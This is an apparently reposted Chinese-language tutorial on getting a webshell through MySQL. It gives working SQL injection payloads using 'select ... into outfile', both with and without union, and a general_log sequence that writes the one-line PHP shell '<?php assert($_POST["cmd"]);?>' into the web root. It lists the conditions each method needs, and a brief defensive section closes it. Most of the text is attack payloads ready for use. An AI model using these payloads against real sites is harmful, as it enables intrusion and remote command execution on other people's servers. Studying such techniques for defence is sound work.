MySQL 寫一句話拿 WebShell
阿新 • • 發佈:2018-12-13
本文介紹兩種利用 MySQL getshell 的方法:
- select … into outfile
- general_log
一、select … into outfile 介紹
利用需要滿足以下條件:
- 對web目錄有寫許可權
- GPC關閉(能使用單引號)
- 有絕對路徑(讀檔案可以不用,寫檔案必須)
- 沒有配置 –secure-file-priv
姿勢:
- 有 union
id=2) union select 1,2,3,4,5,6,7,'<?php assert($_POST["cmd"]);?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo. php’%23
- 無 union
id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<?php assert($_POST["cmd"]);?>’%23
其中 fields terminated by 是用來指定列之間分隔符,如果查詢結果為單列則不會插入分隔符,所以必須有多個列才能成功寫入一句話
二、general_log 介紹
利用需要滿足以下條件:
- 對web目錄有寫許可權
- GPC關閉(能使用單引號)
- 有絕對路徑(讀檔案可以不用,寫檔案必須)
- 需要能執行多行sql語句
姿勢:
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
設定了 general_log 和 general_log_file 之後所有SQL記錄都會寫入指定的檔案,所以會導致 log 檔案非常大,推薦只暫時開啟
需要注意的是 secure_file_priv 是隻讀屬性,如果試圖使用 set global 修改會報如下 Error
Error Code: 1238. Variable 'secure_file_priv' is a read only
三、防禦姿勢
- 設定 **secure_file_prive = null ** (不允許匯入和匯出)
- 防止暴露網站絕對路徑
- 正確設定 web 目錄許可權,除 log、upload 等目錄外不授予寫許可權,upload 目錄不授予執行許可權